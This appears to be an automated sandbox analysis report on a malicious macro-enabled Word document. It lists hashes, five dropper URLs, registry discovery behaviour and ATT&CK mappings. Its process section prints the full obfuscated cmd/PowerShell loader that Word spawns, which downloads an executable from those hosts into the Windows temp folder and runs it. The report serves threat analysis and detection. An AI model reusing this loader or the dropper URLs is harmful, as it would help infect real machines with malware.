1bb948ea6a642404c81eff109bd3bf4de8d17371bd084d3636e5638345cc5020

General

Target

1bb948ea6a642404c81eff109bd3bf4de8d17371bd084d3636e5638345cc5020.docm
Size

94KB
MD5

17160cfc8b8c0401f0d2063a615fb133
SHA1

baba76bfcc698be2fd98574ba2bdcf894a9c3c16
SHA256

1bb948ea6a642404c81eff109bd3bf4de8d17371bd084d3636e5638345cc5020
SHA512

e88185760d15ff0c0eb7f83a111393f4bb309387f6533875958f9f5fb5208ad0b2566157b5986db4462711bb2982fa5ac10a4e84803e11c2e5a1073fe54fdf3c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://japanijob.com/UUC8iEfIfb

exe.dropper

http://103.11.22.51/wp-content/uploads/yoarKX9

exe.dropper

http://13.126.28.98/hPwXcgCZBx

exe.dropper

http://159.65.146.232/ugitr4t4L

exe.dropper

http://159.65.65.213/iz1Cc1GhZ

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4580	4972	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

20 4668 powershell.exe
24 4668 powershell.exe
25 4668 powershell.exe
47 4668 powershell.exe
48 4668 powershell.exe
49 4668 powershell.exe

flow	pid	process
20	4668	powershell.exe
24	4668	powershell.exe
25	4668	powershell.exe
47	4668	powershell.exe
48	4668	powershell.exe
49	4668	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4972 WINWORD.EXE
4972 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4668 powershell.exe
4668 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4668 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

4972 WINWORD.EXE
4972 WINWORD.EXE
4972 WINWORD.EXE
4972 WINWORD.EXE
4972 WINWORD.EXE
4972 WINWORD.EXE
4972 WINWORD.EXE
4972 WINWORD.EXE

pid	process
4972	WINWORD.EXE
4972	WINWORD.EXE

pid	process
4668	powershell.exe
4668	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4668	powershell.exe

pid	process
4972	WINWORD.EXE
4972	WINWORD.EXE
4972	WINWORD.EXE
4972	WINWORD.EXE
4972	WINWORD.EXE
4972	WINWORD.EXE
4972	WINWORD.EXE
4972	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 4972 wrote to memory of 4580	4972	WINWORD.EXE	cmd.exe
PID 4972 wrote to memory of 4580	4972	WINWORD.EXE	cmd.exe
PID 4580 wrote to memory of 4668	4580	cmd.exe	powershell.exe
PID 4580 wrote to memory of 4668	4580	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1bb948ea6a642404c81eff109bd3bf4de8d17371bd084d3636e5638345cc5020.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\SYSTEM32\cmd.exe
cmd /c set x=pow&& set y=ersh&& set z=ell&& call %x%%y%%z% $Lbi2C = '$zmlXw8L = new-obj000ect -com000obj000ect wsc000ript.she000ll;$OeRVbsv = new-object sys000tem.net.web000client;$C8OLj = new-object random;$nrwmj = \"000h000t000t000p000://japanijob.com/UUC8iEfIfb,000h000t000t000p000://103.11.22.51/wp-content/uploads/yoarKX9,000h000t000t000p000://13.126.28.98/hPwXcgCZBx,000h000t000t000p000://159.65.146.232/ugitr4t4L,000h000t000t000p000://159.65.65.213/iz1Cc1GhZ\".spl000it(\",\");$MRBKOMiTz = $C8OLj.nex000t(1, 65536);$l1u8gi4t = \"c:\win000dows\tem000p\95.ex000e\";for000each($iGSfRnt in $nrwmj){try{$OeRVbsv.dow000nlo000adf000ile($iGSfRnt.ToS000tring(), $l1u8gi4t);sta000rt-pro000cess $l1u8gi4t;break;}catch{}}'.replace('000', $j3ciVLYh);$OXlJrGA7 = '';iex($Lbi2C);
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $Lbi2C = '$zmlXw8L = new-obj000ect -com000obj000ect wsc000ript.she000ll;$OeRVbsv = new-object sys000tem.net.web000client;$C8OLj = new-object random;$nrwmj = \"000h000t000t000p000://japanijob.com/UUC8iEfIfb,000h000t000t000p000://103.11.22.51/wp-content/uploads/yoarKX9,000h000t000t000p000://13.126.28.98/hPwXcgCZBx,000h000t000t000p000://159.65.146.232/ugitr4t4L,000h000t000t000p000://159.65.65.213/iz1Cc1GhZ\".spl000it(\",\");$MRBKOMiTz = $C8OLj.nex000t(1, 65536);$l1u8gi4t = \"c:\win000dows\tem000p\95.ex000e\";for000each($iGSfRnt in $nrwmj){try{$OeRVbsv.dow000nlo000adf000ile($iGSfRnt.ToS000tring(), $l1u8gi4t);sta000rt-pro000cess $l1u8gi4t;break;}catch{}}'.replace('000', $j3ciVLYh);$OXlJrGA7 = '';iex($Lbi2C);
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4668

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4580-137-0x0000000000000000-mapping.dmp

Download
memory/4668-143-0x00007FFE21DE0000-0x00007FFE228A1000-memory.dmp

Filesize
10.8MB

Download
memory/4668-142-0x00007FFE21DE0000-0x00007FFE228A1000-memory.dmp

Filesize
10.8MB

Download
memory/4668-141-0x00007FFE21DE0000-0x00007FFE228A1000-memory.dmp

Filesize
10.8MB

Download
memory/4668-140-0x0000024A41680000-0x0000024A416A2000-memory.dmp

Filesize
136KB

Download
memory/4668-139-0x0000000000000000-mapping.dmp

Download
memory/4972-134-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-136-0x00007FFE0AC70000-0x00007FFE0AC80000-memory.dmp

Filesize
64KB

Download
memory/4972-138-0x000001B75CD80000-0x000001B75CD84000-memory.dmp

Filesize
16KB

Download
memory/4972-135-0x00007FFE0AC70000-0x00007FFE0AC80000-memory.dmp

Filesize
64KB

Download
memory/4972-130-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-133-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-132-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-131-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-145-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-146-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-147-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download
memory/4972-148-0x00007FFE0D5D0000-0x00007FFE0D5E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads